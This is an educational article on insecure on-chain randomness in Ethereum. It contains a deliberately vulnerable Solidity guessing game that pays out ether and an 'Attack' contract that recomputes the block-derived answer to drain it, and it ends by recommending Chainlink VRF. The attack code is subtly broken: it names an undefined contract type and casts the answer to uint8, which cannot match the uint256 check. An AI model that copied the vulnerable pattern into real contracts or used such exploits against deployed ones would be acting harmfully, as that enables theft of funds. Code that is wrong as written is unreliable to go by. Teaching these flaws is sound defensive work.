Weak Sources of Randomness from Chain Attributes

Using chain attributes for randomness, e.g.: block.timestamp, blockhash, and block.difficulty can seem like a good idea since they often produce pseudo-random values. The problem, however, is that Ethereum is entirely deterministic and all available on-chain data is public. Chain attributes can either be predicted or manipulated, and should thus never be used for random number generation.

Example of Weak Randomness

pragma solidity ^0.8.24;

contract GuessTheRandomNumber {
    constructor() payable {}

    function guess(uint256 _guess) public {
        uint256 answer = uint256(
            keccak256(
                abi.encodePacked(blockhash(block.number - 1), block.timestamp)
            )
        );

        if (_guess == answer) {
            (bool sent,) = msg.sender.call{value: 1 ether}("");
            require(sent, "Failed to send Ether");
        }
    }
}

In the above example, the answer variable is initialized using blockhash(block.number - 1) and block.timestamp. This method is insecure because both blockhash and block.timestamp can be retrieved directly by another contract just in time, making it possible to guess the answer and win the challenge unfairly.

An attacker can exploit the weak randomness as follows:

contract Attack {
    receive() external payable {}

    function attack(GuessTheRandomNumberChallenge guessTheRandomNumber) public {
        uint256 answer = uint256(
            keccak256(
                abi.encodePacked(blockhash(block.number - 1), block.timestamp)
            )
        );

        guessTheRandomNumber.guess(uint8(answer));
    }

    // Helper function to check balance
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

The Attack contract calculates the answer using the same logic as the GuessTheRandomNumber contract and guesses it correctly, allowing the attacker to win the challenge.

Preventive Measures

A common and more secure solution is to use an oracle service such as Chainlink VRF, which provides verifiable randomness that cannot be manipulated.

Sources